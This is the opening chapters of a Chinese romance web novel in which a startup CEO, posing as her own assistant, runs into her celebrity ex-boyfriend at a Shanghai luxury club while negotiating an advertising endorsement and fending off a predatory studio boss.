《经年浓情[破镜重圆]》
1. 重逢篇
立冬这天,沪城迎来一场寒凉冬雨。
晚10点,出租车驶至海港附近,缓缓停在一座金碧辉煌的会所门前。
一个姑娘走下车,仰望十二层高楼,伞下的盈盈身形却轻挺如竹。湖绿系腰的长衣摆,在风雨中摇曳生姿。
高楼旋转门右侧,黑底牌匾上刻着两个龙飞凤舞的竖排烫金大字——败火。
卓然是来商谈公司游戏代言的。
代言人临时邀约她来参加宴会,担任他女伴,顺便和他的老板再当面谈谈居高不下的代言费。
老实说,大晚上突然约见她一个姑娘,还是这么偏远奢靡的场合,卓然很反感。
但原先对接的代言人突然塌房,距离广告拍摄只剩半个月。重挑代言人,约档期,还要量身打造新的拍摄方案……她不得不硬着头皮赴约。
旋转门前,卓然将雨伞交给迎宾安置,走进“败火”。
这是一家超大型综合会所,涵盖酒吧、射箭、击剑、各类水上项目、各种球类等娱乐项目。
晚10点的大堂灯火通明,人群熙攘。二楼屋顶挑空,皇冠型的水晶吊灯雍容阔气,淡淡的海盐香芬应景也好闻。
卓然临时得知,代言人堵车在半路。
一个秘书领着她走到休息区,直接引荐给他们影视公司的大老板,魏祥。
中年清瘦的男人西装革履,靠坐在窗边的深灰色沙发,正打电话沉声训斥着谁。
卓然安静站在一旁等候。
片刻后,魏祥放下手机看向卓然,眼底掠过一丝惊艳。他开始上下打量起她,目光直白。
湖绿色V领大衣,很好凸显了姑娘家的纤长白颈。
明媚皓齿,唇红鼻翘,圆圆的银丝眼镜,圆溜溜的葡萄眼。
如果单是这样,阅遍内娱无数美女的魏祥,会觉得她不过尔尔。
妙就妙在,她此时表情冷淡,美得像只高贵冷艳的天鹅,很能激起男人的征服欲。
他对卓然的兴趣不加掩饰,半试探地抛出诱饵:“绿色很挑人,却很衬你。”
被身价不菲的大老板赞美,或许会有人飘飘然。
但卓然对此……她不动声色,纠正话题:“魏总谬赞,有劳您百忙之中抽空商谈代言。”
魏祥定睛瞧她几秒,下巴点了点对面,“坐吧。”
卓然道谢坐下,礼节周到地双手奉上广告代言的策划书。配合他翻看的内容,如数家珍地介绍:“我们蜜恋游戏虽处于创建初期,但……”
魏祥脸色淡淡地听完介绍,没进一步提问细究,随手合上策划书,目光重新转回她身上,“Jolin小姐是公司的公关经理?”
“CEO助理,什么杂活都干点。”
“屈才了。”魏祥将诱饵又抛得明确些,语气耐人寻味:“凭你这长相条件,不另谋出路实在可惜。”
不舒服的话题又被绕回,卓然眼珠微转,四两拨千斤:“让魏总见笑了。不瞒您说,我这脸其实都是……韩国制造。”
“哦?”魏祥意外挑了挑眉,看破不说破,“影响不大。在我这只要乖巧听话,公司各方面资源任你挑选。”
“听起来还挺吸引人的。只是,”卓然面露难色,“我老婆她控制欲太强,不愿意跟别人分享我。”
“……”
尽管看出她在睁眼说瞎话,魏祥仍被哽住一瞬。他摇了摇头,“还是太年轻,等你经济压力上来就全懂了。”
卓然瞟了眼他手上的代言策划书,顿了顿:“或许吧。”
魏祥淡淡一笑,把策划书退还给她,重新拿起手机浏览消息,变相将人晾在一旁。
一场对峙,升级到心理战。
卓然按兵不动,转头随意环顾着四周。不经意间,看向窗外的目光微变。
门口经停一辆黑色庄严的劳斯莱斯,先下车的人将钥匙递给迎宾,然后撑伞转至后车门。
从后座下车的男人,一身黑色休闲宽松的机车服,连渔夫帽和口罩都是黑色的。
遮得如此严实,换作旁人或许只是惊鸿一瞥。
而前一刻虚与委蛇的卓然,此刻脸色怔住了。
……盛愿?
那人单手插着兜往里走,举手投足没个正形,跟家喻户晓的当红顶流完全不搭边。
他漫不经心朝窗边扫过来,猝然四目相对,脚步滞住一瞬。
窗玻璃上雨纹滚滚,模糊了他的微表情。
也给人一种错觉,黑口罩外那双漂亮的琥珀眸子,于晦暗雨夜中,从慵懒、疏淡,变得幽凉、潮染。
不过,他很快挪开眼,继续往前走,不带一丝犹豫。
“你不会想请盛愿代言吧?”
不知何时,魏祥顺着她的视线也看向窗外。门口的广告大屏上,刚巧开始播放盛愿在时装周上的采访vlog。
他会错了意:“别怪我没提醒你,像他这种断层顶流,单是代言费都2000万起步。更别说,他不会自降咖位,给你们这种初创小公司代言。”
卓然缓缓收回目光:“谢魏总提醒,我明白。”
但整个人心不在焉的。
是雨太大,距离太远,才没看清吧?
落在魏祥眼中有了另一重含义,他进一步抛出诱饵:“你若不怕吃苦,我也能将你打造成第二个盛愿。”
“是吗?”卓然这会烦透了,偏偏他还在耳边不停聒噪。真实想法,冷不丁地脱口而出:“内娱近20年,也就出了这么一位断层顶流……”
话到一半,魏祥肉眼可见地冷了脸。
卓然眼皮倏跳,转瞬回神,将后半句“可他并非出自你们公司”及时改为:“所以我非常期待,贵公司的演员老师们能长江后浪推前浪。”
魏祥盯着她,半晌,才缓缓道:“小姑娘家,还是乖一点比较可爱。”
说完,他就要转头朝站在一旁的秘书吩咐什么,怎料一开口:“盛愿?”
不同于先前的稳坐如钟,魏祥起身相迎,还不忘系好西装纽扣。
卓然顺着他的目光,回望。
刚才头也不回地走掉的男人,又莫名地凭空出现在她身后。
卓然怔了怔,教养使然,跟随起身。
却见这个高她一头多的人,下巴微扬着,目不斜视,从她肩旁一晃而过。
在卓然诧异的目光中,魏祥已先朝他和络开口:“杀青了?你们这部剧貌似拍了大半年吧?”
“8个月。”盛愿扎进剧组大半年,刚杀青从外地回来,沪城已是春秋轮转。他淡声反问:“怎么在这坐,楼上宴会不早开始了?”
“会所的入住系统临时故障,大伙在排队作人工登记。”魏祥看了眼人满为患的服务台,招呼道:“宴会延后了,你要不也在这坐会?”
也就随口客套,没想到:“行啊。”
然后在魏祥诧异的目光中,这位向来不屑圈内社交的盛大顶流,一反常态,松松交叠双腿,懒散虚靠在他身旁的沙发上。
再然后,这人像刚注意到卓然似的,撩起眼皮,朝对面看来,“这谁啊?”
深邃的眉眼毫无波澜,就好像瞧见了……陌生人。
卓然心脏微沉。
原来他不是没看清,是真没认出她。
魏祥坐回盛愿身侧,朝卓然淡淡瞥了眼,又看过盛愿,“来找我谈代言的。小公司出不起代言费,一直没谈拢。”
盛愿神情似有松动,又不置可否。
一来一回,像当她是个透明的。
卓然缓缓收紧手指,转而拾起策划书,装进白色帆布包,“那魏总先忙,我就不打扰了。”
“这样吧,我再给你一次机会。”
魏祥忽然叫住她,然后吩咐站在身后的秘书,将房务经理从服务台请了过来。
卓然不解其意,只能随机应变。
然后就听魏祥介绍道:“这位Jolin小姐是蜜恋游戏的CEO助理
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,或许能帮你们修复客房入住系统。”
魏祥想起盛愿在这家会所有投资,也不想放走一条美人鱼。
他对卓然说:“众所周知,游戏公司的IT技术至关重要。如果你能修复这的系统故障,我就姑且认可你们这家小公司的未来发展潜力。”
雨天路滑,系统售后堵了快2小时。房务经理正急得如热锅上的蚂蚁,听完后,也将信将疑看向卓然,“小姑娘,你真能修?如果修好,我们必有重谢。”
跟着围拢过来的客人,七嘴八舌:
“就一年轻姑娘,怎么可能会修?”
“她还CEO助理?啥公司?”
“听都没听说过的一小破公司,人员、业务管理肯定都一团乱。”
质疑声声刺耳,卓然莫名地瞥了眼那人。
似是不想被认出,他拉低帽檐,又戴着口罩,默不作声靠坐在沙发上,看不出他在想什么。
卓然无言收回目光,深吸口气,独自面朝众人解释:“CEO助理不管技术,诸位还是稍等系统售后吧。”
“年轻人要懂得抓住机会。”魏祥交叠双腿,环顾一圈,“在场非富即贵,当众证明蜜恋游戏的技术水准,必然效果可观。”
“正因为我们技术水准优良,才更不是谁都能代表。”卓然尽量滴水不露地应对着。
眼下,不少人跟着房务经理围过来。魏祥一再提及“蜜恋游戏”,就是算到她会把事情办砸,一并搞砸公司的名声。
这不叫给机会,是在存心刁难。
她若失业拮据,真就正中他下怀了。
狗男人,心可真黑。
但为了公司声誉,卓然不得不和颜悦色:“早知道魏总想考察技术的话,我就带IT一起过来。”
“现在说这些都晚了,”魏祥似是顾忌地看了眼盛愿,再朝卓然看过来时,辞色隐晦几分:“我怀着诚意冒雨前来,总不好再空手而回。”
卓然微微眯眼,气氛微妙起来。
窗外风急雨骤,巨浪滔天。
窗内,滞留太久而无聊的富贵闲人们,越来越多围过来,观赏这一出“仗势欺人”戏码。
唯有房务经理,帮着说和了句:“多谢魏总好意,我们的系统售后已在来的路……”
魏祥浅抬手打断他的话,目光落回卓然脸上,“Jolin助理是聪明人,我相信她会做出正确抉择。”
这是下最后通牒了。
但这一次,卓然没有再看向盛愿。
她眼仁微动,居高临下,淡淡觑着沙发上的魏祥,“魏总这话,就有点欺我年少无知了。”
“众所周知,一个行政助理不可能修好系统。我若逞能,累及公司名誉不说,还可能丢掉工作。”
“我若回绝您,最坏结果也不过丢掉工作。您说,我会怎么选?”
“你会选,尽量不丢工作。”
魏祥一针见血,胜券在握。
“您说得对,如今经济大环境不好,有份工作不易。”卓然两道细眉微蹙,迟疑道:“但这稳赔不赚的买卖……”
“魏总家大业大,不如再给添份彩头。”一直没出声的盛愿,忽地淡淡开口。
卓然意外看去,他仍低着头,甚至还闲散地刷起手机。
等等,那手机页面……她怎么好像瞧见“蜜恋游戏”字样?再细看过去,原来是一个国外高奢品牌的蜜粉饼代言合同。
魏祥也没料到盛愿会插手,但这事本就为了卖给他人情。
再加上,见惯了太多蠢女人的谄媚示好,卓然的淡定与聪颖,让魏祥兴致大涨:“这样吧,你如果能修好系统,那代言费就如你所愿,减免掉300万。”
众人哗然。
有的惊叹魏祥的大手笔。
有的吹起口哨,起哄魏祥为抱得美人不惜一掷千金。
卓然倒没那么兴奋,仅是唇角隐隐勾起一丝狡黠:“好啊,那我就恭敬不如从命了。”
2. 重逢篇
在众人惊奇注视下,卓然坐到服务台的电脑前,娴熟地调出入住系统的底层代码,迅速定位Bug。
她敲到键盘飞起,专注、专业的架势看得众人一愣一愣的:“这、这算什么操作?”
有人掩面低呼:“她真懂技术!”
魏祥双眼微眯,眼底猎艳意味更浓。
至于盛愿,不知何时已起身走远。
等在一旁的男助理福仔,为他按亮电梯键的同时,也惊讶地指向服务台,“她、她原来一早就能解决?她是故意示弱,好跟魏总提条件!”
盛愿脸色平淡,好似并不意外。
电梯门打开,他走进去,转身虚靠在电梯中央,耷拉着眼皮,意味不明。
福仔识趣闭紧嘴巴,赶忙跟上。
电梯缓缓上升,灯光冷白,一时间寂静得诡异,比海面的滚滚乌云还要闷沉。
半晌,一声低嗤响起。
薄凉,嘲弄,无尽的溃败:“骗子。”
像是在回答福仔先前的话,又像在自言自语。
等福仔看去,那人已冷脸走出电梯,只丢下这没头没尾的一句。
他麻溜追出去,转念想起盛愿先前已行至电梯又折返去见魏祥一事,试探着问道:
“盛哥,你是不是认识那小姐姐?”
“那我要不要交代他们多照顾下她?魏总在圈内出了名的好色,万一等会再仗势欺人就不好了。”
“唉哥,你不是去宴会厅么?怎么又回房……”
“冲澡!”
盛愿不胜其烦,“砰”得撞上房门,直接让福仔物理性闭嘴。
福仔惊险地双手捂住鼻子,“咋突然这么大火气?生气还有闲心冲澡?”
又试着轻敲两回房门,皆被冷漠无视,福仔只好悻悻离开。
期间,一连跨过两扇特制的玻璃门。
会所的主人容横,是盛愿过命的发小。当初资金周转不开时,是盛愿二话不说给他拿了三千万救急,后来容横直接划给他三成股份。
按理,会所都起些高端有财气的名字。而“败火”这个败家的名字,即拜盛愿这败家子所赐。却意外戳中了当代年轻人的喜好,迅速爆火。
“败火”顶层共有9间Svip贵宾套房,8号和9号观景最佳,空间最大,留给容横和盛愿常住。
为了防范私生粉再闯进来,额外加装两道玻璃门禁。除了特定指纹,唯有房务经理手上的总门禁卡能刷开。
福仔想着肯定出不了意外,走就走吧
殊不知,经过刚才掺杂冲天恼火的猛烈撞击,门上方的钉子意外脱落。
9号房悄然变为6号。
*
27分钟后,一楼服务台
卓然停手,“好了,试试看。”
她起身让出位置,没去寻盛愿的身影。刚刚忙里偷闲,她已抬眼看过,没看见那道黑色的高大身形,也没看透他最后说那句话时的态度。
索性先搁置一旁,办正事要紧。
房务经理忙让前台操作,效果喜人。
围观的看客们也一反态度,连连赞叹:“厉害厉害!对了,刚刚说你是哪家公司的?”
“蜜恋游戏。”
卓然掏出几份宣传手册递过去。
她先前就观察到,现场有好几位明星艺人。如此打响公司的名气,即便签不了魏祥公司的傅禹,还有其他后路可走不是?
与此同时,一道掌声由远及近。
原本稳坐高位的魏祥,亲自起身前来祝贺,探究道:“既然精通计算机,怎会甘愿只做个助理?”
因为,卓然实为CEO本人。她带着在伦敦大学的科研成果,回来创办蜜恋游戏,报效祖国。
先前代言人塌房,她这次有意考察傅禹的人品。换个势微的身份,果然犹如戴上一面照妖镜。
卓然浅浅牵起唇角:“秘密。”
魏祥不气反笑,“愈发有趣了。”他吩咐秘书:“去给Jolin升到Vip套房。”
卓然:“多谢魏总好意,但我不……”
“我们老板十分感谢Jolin小姐,已为您无偿升了房型。”房务经理丢下一众等待入住的贵宾们,抽身走过来,反复倍表谢意。
“那就调到我房间附近,”魏祥默了默,先行替卓然做出决定,“方便晚点洽谈合作。”
房务经理:“她的是Svip。”
“……”
魏祥怔了一瞬,瞥向秘书。
秘书大惊失色,富人圈内视金钱如粪土,玩得不过一份人无我有的优越。她忙问:“之前不是说Svip满房了么?”
“6号房的贵宾不满入住系统出故障,刚巧退房走了。”房务经理解释完,将总门禁卡双手递给卓然,“您先用这张吧。”
服务台忙中出错,一时找不到6号房的门卡了。房务经理承诺,等忙完这阵,就立即找到去为她更换。
卓然倒无所谓,秉着社交礼节向魏祥几人点头道别,乘坐专属电梯,直达顶层。
“叮——”
电梯门打开,入眼是铺着高级灰羊毛地毯的寂静长廊。
朝南望海的高规格单排布局,北侧墙上壁画与明窗交错分布,清香空气中晕染淡淡的海风咸意。
“这房间,怎么跳号?”
卓然望了眼右边7号打头的一排房间,又看向左边仅有的8号房、更里侧的“6号房”,略感古怪。
不过上流圈子大都有些时尚的癖好,她见怪不怪地刷开三道门禁,缓步走入典雅低调、别有洞天的“6号房”。
入门灯意外亮着,卡位插有房卡。
应该是先前的客人退房时忘了还吧,难怪服务台找不到房卡。
卓然滞住一瞬,继续往里走,直到洗手间传来清晰的水流声。
她脚步顿住,回看一眼房卡,又看向洗手间,了然。
原来是保洁阿姨拿着房卡来打扫了。
卓然是个有礼貌的姑娘,步履从容走过去,微笑推开门打招呼:“阿姨好——”
“好”字倒吸成一口凉气!
门内正站着个高大的男人,只腰间围条白浴巾,湿发都还没擦。
水珠滴落,溅在他饱满喉结,缓缓滑过一块块健硕的肌肉,坠入隐秘的腰间。
沾留在冷白肌理的水珠,在灯光下,折射出诱人的莹光。
卓然只觉一股热血直冲颅顶,下意识抬头看去。
怎料,竟撞进一双熟悉的琥珀眸子。
卓然的挎包“敦”地坠地。
盛愿:“……”
他僵着身形,垂眼冷冷觑着卓然的怔愣反应,下颌线根根绷紧。
寂静。
一段冗长的寂静。
饶是卓然性子淡定,此刻也失去表情管理。不,应该说表情彻底崩了。
误入男性浴室,尴尬。
意外看光前任,尴尬。
那么,误入男性浴室后,意外看光了前任……
“还要看到什么时候?”
男人胸膛起伏,震出凛冽的声线,嘲弄意味更浓:“现在的私生粉还挺有本事,三道门禁都拦不住你想偷窥的心?”
私生粉?
哦对,他已经不认得她了。
甚至刚在楼下,都没怎么正眼瞧她。
心头的凌乱,被一丝抽痛代替。
卓然却硬生生挺直背脊,挤出一丝不失礼貌的微笑。
想开口解释什么,可她自己也还不清不楚的。实话实说,他大约也不会信她,索性赌气回怼道:“原来您是演员呐,那要不就给我张签名?”
“……”
盛愿的表情似有一瞬斑驳。
又像是错觉,等她再抬睫细究,那张散落在氛围灯光影中的漂靓侧脸,仍是不苟言笑,情绪难以捉摸。
不同于隔着屏幕,卓然这会近距离的目光描摹,更能切身感受一个大男孩蜕变成男人,是历经岁月怎样的执笔。
褪去婴儿肥,他面部的轮廓修长,配以冷削桀骜的性情,气质愈发玉立、神秘。
当然于她而言,还多了抹疏离。
“出去。”
盛愿冷淡撇下两个字,头也不回地去摘墙上的浴袍,一副好身材全被遮住。
抠搜又不可一世的傲慢,气人又欠揍,好像她多贪他身子似的。
谁稀罕?
卓然潇洒走人,来到门口,仰头核实房间号。察觉圆铁牌上方的那道浅白圆痕后,额……
她目光虚晃了晃,走出两道玻璃门禁,就近滞停在电梯对面的南窗前。
窗玻璃上,倒映出一张俏丽的面容。
好像跟六年差不多,连发型都还是齐肩的低马尾。
卓然眺望夜色中的惊涛骇浪,心绪亦是翻滚不停,仿
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若漂泊在苍茫海上的一尾孤舟,就那么荡啊荡。
*
盛愿穿好浴袍时,房中早没了卓然身影。应是走得急,挎包落在地上都忘了捡。
白色帆布包没拉链,东西散落出来。
他顿了顿脚,仔细将东西装回去。
不经意瞥见宣传册上“蜜恋游戏”几个字,一家连企查查都搜不到的小破公司,眸光瞬息万变。
很难想象,那个天之骄女沦落至此。
可哪个CEO助理,要在大周末混进会所,一间一间地上门发小广告??
盛愿拿起内线座机,拨到服务台。
房务经理赶忙向这位祖宗,战战兢兢地解释房卡下落不明的事。
“房卡都整没了,你让人怎么住啊?”盛愿语调漫不经心,“给换到8号房。”
房务经理声音颤了颤:“8号房是容大老板的居所,私人物品都还在里头呢。”
“丢出去。”
房务经理吓得差点给他跪。
“怎么着,”盛愿语速放慢,不明觉厉反问:“人家帮了你们这么大忙,就不配拥有一间最上等的套房?”
“那容大老板要问起来……”
“回头我跟他说。”
“好的好的。”房务经理放下电话,急急乘电梯上楼,刚巧遇到窗边的卓然。
他连连致歉,表示先前安排错了房间,“您该入住8号房,这是我们Svip贵宾套房中的顶配。”
“8号……”卓然回望一眼8号房的隔壁,“可以换其他的吗?”
房务经理:“满房了。”
卓然:“不是说6号空出来了吗?”
房务经理搓搓手,“8号又住进去了。”
“……”
房务经理去收拾8号房的东西,卓然才意识到挎包还在9号房。
她踟蹰片刻,请房务经理帮忙去拿回来,哪知他连连推脱自己很忙,嗖嗖地拔腿跑掉……
卓然不得以,硬着头皮去敲9号门。
房门打开,男人上半身裹着白浴袍。
他正擦头发,亚麻色湿发碎落在额前,眼皮懒散垂耷着。瞥见她后,若有所思一瞬,“是你啊。”
卓然心跳漏掉一拍,想起她来了?
下一秒。
他讥诮勾唇,不冷不淡地嗤了声:“不给签名就不走了是吧?”
“……我拿完包就走。”
“这么老掉牙的套路,我会信?”
“……”
卓然长睫低垂,掩去眼底掠过的失落。
等再抬眼时,男人已转身回房,只留给她一道高大冷硬的背影。他自顾自吹头发,没有替她拿包的意思。
好在房门还开着。
卓然抿了抿唇,踩着厚软羊绒地毯,轻声走进洗手间,却没瞧见帆布包。
她疑惑走出来,站在玄关处环顾屋内,五十多平的高规格配置,低调奢华的黑白灰色家具,松散排布,又不失时尚优雅。
最终,目光落在盛愿身旁的黑色斗柜上,白帆布包瑟瑟缩在那,像是恶兽俘获的战利品。
位置醒目得惹她眼馋,偏又不好偷偷拿走。
这一刻,吹风机仍在嗡鸣,卓然脑瓜壳也嗡嗡的。
偏偏她理亏在先。
卓然心虚……耐心等他吹完头发,轻声问:“盛……这位演员老师,再打扰下,我进去拿个包就走。”
这位演员老师充耳不闻,慢条斯理地把吹风机的小配件收回盒中,又从旁边盒子掏出一包旺旺米饼。无声捏得稀碎,不知在替谁受过。
然后他才转身,不经意似的瞥见她。
眸子似海上明月般漂亮,眼底潮染跌宕的情绪,熟悉又陌生。
卓然一时没看懂,等再想细究,他已然吝啬地收回视线。很勉强地哼了声,算是回应。
她缓了缓,压下千丝万缕的心绪,目不斜视地朝着那黑色斗柜而去。
哪知走着走着,眼眶突然酸得厉害。
许是刚才修复系统用眼过度,她这会只觉眼前一黑,猛地朝前跪了出去——
幸运的是,盛愿赏脸接住了她。
不幸的是,她一手扯掉他才披上的浴巾,一手按在他鼓起的梆硬的肱二头肌上,大小刚好握满。
卓然:“……?!”
盛愿:“……”
卓然:“……”
3. 重逢篇
两人大眼瞪小眼。盛愿反应了会,后知后觉似的弯起眼角,似笑非笑点了点头,“挺能耐啊,连环计都用上了。”
“……”
卓然讪讪松手,慢慢拉开距离起身。
她牵了牵唇角,无奈放弃挣扎。
因为实在解释不清,为什么眼前忽然漆黑,偏偏摸完他后,又能眼明心亮地二度看光他……
“说说吧,这回又该怎么算?”男人低头整理浴袍,不忘催促她必须给个交代,声线傲慢又气人。
缄默几秒,卓然先把帆布包拿到手上,然后淡淡道:“手感那么差,不怎么样。”
“……”
盛愿抵抵齿尖,差点就被她气笑。
多年不见,她的这张嘴倒是没变,一如既往的刺挠人。
*
风雨渐小,海浪微歇。
卓然顺利入住8号房,顶配房型一应俱全。唯独没有她今晚最急需的物品——礼服。
原本约定,傅禹会为她这女伴提供礼服。避免崩了人设,卓然就没带自己的礼服。
然而晚11点,宴会已临近尾声。她发给傅禹和那位秘书的消息,都石沉大海。
魏祥在向她施压。
要么去求他拿礼服,要么去不成宴会、接触不到别的明星,代言的事最后还得求他。
不得不佩服,这招真是好算计。
可卓然一退再退,已踩到底线了。
去不成宴会也好,至少不会再遇到那人。
她踱步到阳台透气,凭栏惊听风浪
夜色已深,海边雾气浓郁,以至于她没注意到——8号和9号房的阳台可以互通。
真正的CEO助理,孙蓓蓓来电慰问:“老大,今晚谈得顺利吗?”
“一般般。”
卓然舍掉魏祥见色起意的刁难,只提及他失信未提供礼服的事,“他们没有合作的诚意,有物色到其他人吗?”
“我其实还想到一个人,就不知道合不合适。”孙蓓蓓分享过来一个微博链接。
卓然顺手点开,热搜第一是酷潮TV的年度盛典——
盛愿提名年度最受喜爱的男演员。
卓然倒不意外,近两年各大颁奖典礼上,他每次都是星光闪耀,万众瞩目。
不像有些演员得自己买热搜增加曝光度,盛愿的热度是粉丝实打实顶起来的。
粉丝们分分钟席卷评论区:
[救命,被帅死了!哥哥杀我]
[怪不得我找不到老公,都怪我盛哥太优秀(指指点点)]
[愿宝,你别让我闺女吃这么好!我小时候都没有]
[是谁嘴角又飞了我不说!]
……
孙蓓蓓也“以权谋私”地强烈安利:
“盛哥颜值逆天。”
“人格魅力也大,粉丝基础牢固”
“而且出道多年0绯闻,他肯定不会塌房!咱游戏绝对大爆!”
这一点,饶是卓然也无可反驳。
可惜,盛顶流的代言费都是2000万起步,让人望尘莫及。
“可跟广告公司定的日子马上就要到了,现在该怎么办呐?”孙蓓蓓焦灼不矣。
作为老板,卓然比谁都急。可谁都能抱怨,唯独她不能。
底下一大帮员工都要养家糊口,当初大伙选择信任她、冒险加入“蜜恋”这家初创小公司,那她就绝不能辜负这份信任:“别慌,还有半个月呢,办法总比困难多。”
“我要跟盛哥是老同学就好啦,舔着脸去求个友情代言。”孙蓓蓓摆烂地畅想着,“或者手上攥有他的黑料,哼哼——”
盛愿的黑料么?
那卓然手上攥着的,简直不要太多。她掐指一算,以盛愿现在的身价,这些黑料可保她一生衣食无忧。
不过,卓然从来没想过,能请动盛顶流来代言,哪怕没有先前那一遭。
对她上心时,恨不得把天上的月亮摘下来哄着、捧着。
不上心时,她不过就是他口中“一个关系还不错的同桌罢了。”
夜雨惊涛,声音噼里啪啦的稀碎。
有冷凉海风拂面,眼睛咸得苦涩。
房中座机响了,卓然顺势挂了电话。
电话中说是客房服务,需要请她从里面打开两道玻璃门禁。
开门后,见到一位服务员小姐姐,“打扰了Jolin小姐,老板交代我将这件晚宴礼服转交给您。”
她忍不住多打量卓然两眼。专业服务态度下,眼底仍有克制的羡慕。
手上小心高提着一件高领无袖的黑色连衣裙,两根细肩带遍布手工刺绣的白碎花,精致优雅,漂亮极了。
卓然没接,“现在11点8分,晚宴都快结束了吧?”
“盛老师惊喜现身,晚宴重新进入了高潮。”
服务员温柔赧笑,“盛老师”三字似在她舌尖开出一朵莲花,芳甜的意味弥散入半空。
卓然了然,如今那人无论走到哪里,都自成焦点。
但因着服务员的区分称呼,她未将这件很合心意的礼服,联系到那个“陌生人”身上。
既已止步于陌生,又何谈独家记忆?
*
宴会厅内,觥筹交错,流光溢彩。
厅门大开,男人西装革履惊艳现身。众人齐齐回眸,谁都没理由错过这惊鸿一瞥。
大伙手持酒杯围过来寒暄,盛愿化为众星拱月的存在。
他来者不拒,浅浅抿口红酒,一笑一动皆是雅痞迷人。
直到,魏祥手持红酒杯近前。
盛愿反手扣住酒杯,眉眼间尽是疏冷,“抱歉啊魏总,我今晚过量了。”
说着抱歉,语气敷衍的不像样子,装都懒得装那种。
一时间,周遭鸦雀无声。
魏祥除了是影视公司老总,还是酷潮TV的董事高层,盛愿最新的年度提名奖项正是出自酷潮TV。
在场艺人不论咖位大小,都或有剧集在酷潮TV上映,都免不得多礼敬魏祥三分。因此他为难卓然时,没人出言帮衬。
当众被落面子,魏祥神情微愠。
还有丝诧异,分明楼下才打过招呼。
热闹祥和的气氛,急转而下。
大伙面面相觑,思量如何打破僵局。
容横只当盛愿在为他平不忿,笑了笑,迈一步挡在兄弟面前,“愿子今晚刚从剧组飞回来,精力不济,这杯酒我替他敬魏总。”
其他兄弟也出言附和。
都是跺跺脚能让沪城抖一抖的太子爷。他们的面子,魏祥得给。他淡淡开口:“我也有些过量,以茶代酒吧。”
盛愿得给兄弟们个面子,勉强跟魏祥碰下杯。
闹剧潦草收场,众人散去。
兄弟们半年不见盛愿,圈着他坐下闲聊。一对弧形的黑色真皮沙发,面对面而设。聊聊这人新投资的房产,那人新购入的游艇,再聊聊盛愿新拍的剧。
等气氛热了,有人给容横递个眼色。
容横眼仁微转,“愿子,你还记得我小舅家那表姐吗?”
盛愿慢条斯理地衔住支烟点燃,想了想,“有点印象。”
“她最近换到老闵行上班,就在茗景庄园附近。你那房子空着也是空着,要不借她几个月?”
盛愿拍戏忙,房子买下后,日常的维护都是容横在管,从物业那得知隔壁的姑娘回来了,他顿时警钟大作。
虽说盛愿常年在外地拍戏,鲜少再踏足那处伤心地,但万一撞上呢?后来几人合计着,找个姑娘先住进去。以盛愿的性子,肯定有多远避多远。
谁知,盛愿撩了撩眼皮,“我就不能去住了?”
这个反应有点微妙。
大伙迅速交换个眼神,但都觉得他刚回沪就被哄到这来了,肯定还不知情。
至于入住系统被修复的事,容横倒听房务经理温吞地说了一嘴,免费升房作为答谢也算正常。而那人姓甚名谁,是男是女,他还没得空细问。
于是这会,又有人出言劝阻:“老小区设施又不齐全,你哪能去那住?”
“那他表姐一个姑娘就能住?”
“他表姐也就暂时住……”
“你已经
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去过了。”
容横打断那人,不可思议盯着盛愿,额角冷汗微涔。
其他人也寒蝉若禁。
所有兄弟都不曾想到,他们几个当中从小最恣意张狂的人,会最先栽在女人手里。
他曾把身上最坚硬的鳞片,拿来做她的保护盾,也轻而易举就被她从内里击穿。
连同男人的自尊、傲骨,一起粉碎。
后来,但凡跟卓然沾边的事,俨然都成为一种禁忌。大伙在盛愿面前都闭口不敢提,正所谓“龙之逆鳞,触者杀之。”
所以当他们计谋被看穿后,周遭空气有一瞬死寂。
盛愿却没有预期中的发飙,意味不明地扯唇笑了下,“没去。”
众人:?
“那你怎么知……北河告诉你了。”容横自认自己没露破绽,其他知道这事的人里,唯有盛愿的经纪人安北河不在这。
盛愿眼中情绪凉下来,“哦,这里头还有他的事?”
容横被噎住一瞬:“……”
合着这厮故意挖坑等他跳呢。
与此同时,众人也越发好奇谜底,但谁都不敢再贸然开口。
盛愿懒散地掸了掸烟蒂,才在一众好奇的注视中,不答反问:“横子,你还记得上次主动请我吃饭是哪年吗?”
大伙恍然大悟,懊恼“啊呀”了声。
容横是工作狂,十次聚餐能来一次就是中奖。今晚他主动组局,还主动提及茗景庄园,可不就是自投罗网嘛!
“那你……”容横稍作沉吟,扯回正题:“接下来怎么打算?”
大伙齐齐瞧去,心再度高悬。就算盛愿不计较今晚之事,但绝不会不计较当年的事。
却见盛愿向后靠到黑皮椅背上,捏着烟送到嘴边抽了口,吐出的缭绕白烟遮住他脸,语气玩世不恭:“就一不相干的人了,爱回回呗。”
谁没有过年少无知,被人一巴掌打醒了,难道他还要犯贱地把另一边脸凑过去?
她以为她是谁?
见盛愿如此平静,大伙悬着的心终于放平,纷纷附和:
“说得对,过去的就让它过去了。”
“而且你现在身份敏感,谈感情必掉粉,就专心搞事业吧。”
“像她这种女人,以后给你提鞋都不配……”
“她哪种女人?”
盛愿突然一记冷眼射过去,“你个大老爷们在背后诋毁一姑娘,有意思?”
那人气愤瞪眼:“……”
说好的就一不相干的人了呢???
“怎么着,不服?”盛愿将烟头掐灭在烟灰缸里,下巴朝门口抬了下,“格斗房走着?”
“服服服!”那人赶忙投降。
盛愿一个能干趴一片,他敢不服么?
容横等人也是如梦初醒,心有唏嘘。
合着这位大少爷对人家姑娘是又爱又恨着呢,有气还不舍得找她去撒,就只敢来祸祸他们。真特么地交友不慎!
这时,福仔穿过人群走近,低声汇报:“哥,按你吩咐,礼服已转送给那小姐姐了。”
旁边兄弟个个竖起耳朵:
“太阳打西边出来了,有情况啊。”
“哪位小姐姐?还送人礼服了?”
“福仔,赶紧替你哥坦白从宽。”
福仔不知其中关窍,只道:“就是刚帮着会所修复系统故障的那位大神,我哥聊表谢意。”结果一抬眼,“哎?她来了!”
这是今晚的第二次,厅门大开后,所有人整齐划一暂停交谈,目光纷纷被吸引过去。
来人并非知名女星,也不是经常混迹上流宴会的世家名媛。很眼生,却很吸睛。
掐腰的黑丝短裙映衬出她姣好身材,但第一眼仍会落在她明艳浓颜的五官。
然后是没一丝赘肉的纤白美腿,灯光下,肤白如凝脂,吹弹可破。
气质清冷出尘,所带来的惊艳,足矣与盛愿之前那份媲美。
人心攒动,窃窃私语,大都猜测这是哪家经纪公司新签的艺人。
包括魏祥,他盯着那件高定黑裙,眼神忽明忽暗。
4. 重逢篇
时不时有男女主动上前攀谈,好奇卓然的身份。
“蜜恋游戏的CEO助理。”人靠衣装佛靠金装,她身着高定礼服,递出去几块钱的宣传册,旁人都会客客气气接过。
